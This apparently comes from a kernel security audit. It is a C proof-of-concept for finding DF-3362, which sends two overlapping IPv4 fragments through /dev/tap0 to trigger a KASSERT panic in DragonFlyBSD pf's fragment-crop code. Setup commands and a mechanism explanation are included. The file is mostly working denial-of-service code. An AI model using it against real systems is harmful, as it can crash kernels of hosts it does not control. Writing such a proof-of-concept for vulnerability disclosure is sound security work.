⬢ DragonFlyBSD Kernel Audit
DF-3362 / fragcache_kassert.c
← back to finding ↓ download raw
/*
 * DF-3362 trigger — pf_fragcache() INVARIANTS KASSERT panics on
 * multi-mbuf fragments in the overlap-chop path (sys/net/pf/pf_norm.c).
 *
 * Mechanism:
 *   pf_fragcache() precut>0 path (:653-690) does
 *      *m0 = m_dup(m, M_NOWAIT);   (dup of a MULTI-MBUF chain)
 *      m_adj(*m0, (h->ip_hl << 2) - (*m0)->m_pkthdr.len);   (negative)
 *      ...
 *      KASSERT((*m0)->m_next == NULL);      (pf_norm.c:667)
 *
 *   m_adj(mp, negative) tail-trims by zeroing the length of trailing
 *   mbufs (uipc_mbuf.c:m_adj "toss data from remaining mbufs on
 *   chain: while ((m = m->m_next) != NULL) m->m_len = 0;") -- it does
 *   NOT unlink them.  If the duplicated fragment chain has >= 2 mbufs,
 *   *m0->m_next != NULL after the trim -> KASSERT panics on any
 *   INVARIANTS kernel.  (Had the first KASSERT been absent, the second
 *   at :684 -- (int)m->m_len == ntohs(h->ip_len) - precut -- fires
 *   instead, because the head mbuf alone cannot carry the whole
 *   trimmed packet.)
 *
 *   Fragment chains with >= 2 mbufs are the normal output of
 *   tapwrite() (sys/net/tap/if_tap.c: MGETHDR head + MGET chain, no
 *   clusters), and of various tunnel/virtual interface input paths.
 *
 * Injection: raw Ethernet frames written to /dev/tap0 (root), which
 * emulates a remote attacker on that segment.
 *
 * Setup needed (root):
 *   kldload pf
 *   ifconfig tap0 up
 *   pfctl -f /root/poc/fragcrop.conf   (scrub in on tap0 all fragment crop)
 *   pfctl -e
 *
 * Sends:
 *   frame1: MF frag  off=0    ip payload 8000  -> cache range [0,8000)
 *   frame2: MF frag  off=496  ip payload 8000  -> overlaps frame1,
 *           precut = 8000-496 = 7504 < 8000 -> chop path -> m_dup of a
 *           ~35-mbuf chain -> KASSERT panic.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static unsigned short
cksum(unsigned short *p, int n)
{
	unsigned long s = 0;
	while (n > 1) { s += *p++; n -= 2; }
	if (n) s += *(unsigned char *)p;
	s = (s >> 16) + (s & 0xffff);
	s += (s >> 16);
	return (unsigned short)(~s);
}

/* write one ethernet frame: eth header + fragmented IPv4/UDP packet */
static void
send_frame(int fd, int off8, int mf, int paylen)
{
	static unsigned char frame[14 + 20 + 65535];
	struct ip *ip = (struct ip *)(frame + 14);
	int total = 20 + paylen;
	ssize_t n;

	memset(frame, 0, sizeof(frame));
	/* dst broadcast, src arbitrary, ethertype IPv4 */
	memset(frame, 0xff, 6);
	frame[6] = 0x02; frame[7] = 0x00; frame[8] = 0x00;
	frame[9] = 0x00; frame[10] = 0x00; frame[11] = 0x01;
	frame[12] = 0x08; frame[13] = 0x00;

	ip->ip_v = IPVERSION;
	ip->ip_hl = 5;
	ip->ip_tos = 0;
	ip->ip_len = htons(total);
	ip->ip_id = 0x4142;
	ip->ip_off = htons((off8 & 0x1fff) | (mf ? IP_MF : 0));
	ip->ip_ttl = 64;
	ip->ip_p = IPPROTO_UDP;
	ip->ip_sum = 0;
	ip->ip_src.s_addr = inet_addr("10.66.0.1");	/* "remote" attacker */
	ip->ip_dst.s_addr = inet_addr("10.66.0.2");
	ip->ip_sum = cksum((unsigned short *)ip, 20);

	n = write(fd, frame, 14 + total);
	if (n < 0)
		fprintf(stderr, "write(off8=%d,len=%d): %s\n", off8, paylen,
		    strerror(errno));
	else
		printf("wrote frag off=%d len=%d mf=%d (%zd bytes)\n",
		    off8 << 3, paylen, mf, n);
}

int
main(void)
{
	int fd;

	fd = open("/dev/tap0", O_WRONLY);
	if (fd < 0) { perror("open /dev/tap0"); exit(1); }

	/* 1: cache range [0,8000): MF, off 0, payload 8000 (8-aligned) */
	send_frame(fd, 0, 1, 8000);
	usleep(200000);

	/* 2: overlapping fragment [496, 8496): precut = 7504 < 8000 */
	send_frame(fd, 62, 1, 8000);

	printf("done\n");
	return (0);
}